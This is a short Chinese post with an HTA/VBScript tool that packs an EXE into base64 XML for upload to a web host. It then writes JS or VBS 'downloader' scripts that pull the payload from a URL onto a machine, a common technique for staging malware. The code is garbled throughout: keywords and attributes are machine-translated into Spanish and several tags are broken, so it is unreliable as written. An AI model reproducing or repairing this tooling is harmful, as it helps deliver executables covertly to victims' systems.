以下代码保存成 HTA 文件 ， 可生成 JS 和 VBS 下载者
代码如下:
<HTA: aplicación
Id = "xmldown"
Subtítulos = "Sí"
Scroll = "Auto"
border = "ninguno"
BorderStyle = "estático"
SingleInstance = "Sí"
maximizeButton = "no"
Border = "no"
icon = "dxdiag.exe">
<Script Language = VBS>
Sub Window_onload
Windows.resizeto Screen.Width/1.6, pantalla.
Window.moveto 200,200
Final
Sub CreateExml (ruta, archivo)
Establecer objstream = createObject ("ADODB.Stream")
objstream.type = 1
objstream.open ()
objstream.loadFromFile (ruta)
objstream.position = 0
Establecer xmldoc = createObject ("Microsoft.xmldom")
Xmldoc.async = falso
Set root = xmldoc.createProcessingInstruction ("xml", "versión = '1.0' encoding = 'utf-8'")
Xmldoc.appendchild (raíz)
Xmldoc.appendChild (xmldoc.createElement ("root"))
Establecer xfile = xmldoc.selectsinglenode ("// root"). AppendChild (xmldoc.createElement ("archivo"))
Establecer xstream = xfile.appendChild (xmldoc.createElement ("stream"))
Xstream.setattribute "xmlns: dt", "urn: schemas-microsoft-com: datatypes"
Xstream.datatype = "bin.base64"
Xstream.nodetypedValue = objstream.read ()
Xmldoc.save (archivo)
Establecer xmldoc = nada
Establecer raíz = nada
Establecer objstream = nada
Final
Función x (obj)
Establecer x = document.getElementById (obj)
Función final
Función findfile (str)
Establecer fso = createObject ("scripting.filesystemObject")
Si FSO.FileExists (STR) entonces
findfile = true
Demás
findfile = falso
Final si
Función final
Función jsdown ()
Establecer fso = createObject ("scripting.filesystemObject")
con fso.opentextfile ((createObject ("wscript.shell")). currentDirectory & "/jsdown.js", 2, verdadero)
.write x ("jsdown"). valor
terminar con
función final
Función vbsdown ()
Establecer fso = createObject ("scripting.filesystemObject")
con fso.opentextfile ((createObject ("wscript.shell")). currentDirectory & "/vbsdown.vbs", 2, verdadero)
.write x ("vbsdown"). valor
terminar con
función final
</script>
<Body>
<h4> 1. 生成下载用的 xml 文件 </h4>
选择下载的 EXE 文件 ： <input type = file name = "file1" id = "file1" size = "20">
保存路径 <input type = text name = "path" id = "pathname" value = "c: /down.xml" size = "20">
<input type = "button" value = "生成 xml 文件" onClick = 'vbs: createExml x ("file1"). valor, x ("pathName"). Value: if findFile (x ("pathname"). valor) = true entonces msgbox ("生成成功 生成成功"): x ("url"). innerhtml = "<font" color = rojo> 生成成功 ， 请传到某个空间 </font> "'> <br>
<h4> 2. 生成下载者 </h4>
<Botton onClick = 'vbs: jsdown (): if findFile ("jsdown.js") = true entonces msgbox "生成成功": x ("url"). innerhtml = "用法是 cscript jsdown.js xmlurl savePath"'> 生成 js 下载者 </boton <button itClick = 'vbs: vbsdown (): si (): si () FindFile ("vbsdown.vbs") = true entonces msgbox "生成成功": x ("url"). Innerhtml = "<font color = blue> 用法是 cscript vbsdown.js xmlurl savePath </font>" '> 生成 vbs 下载者 </boton> <br> <br> <br> <br>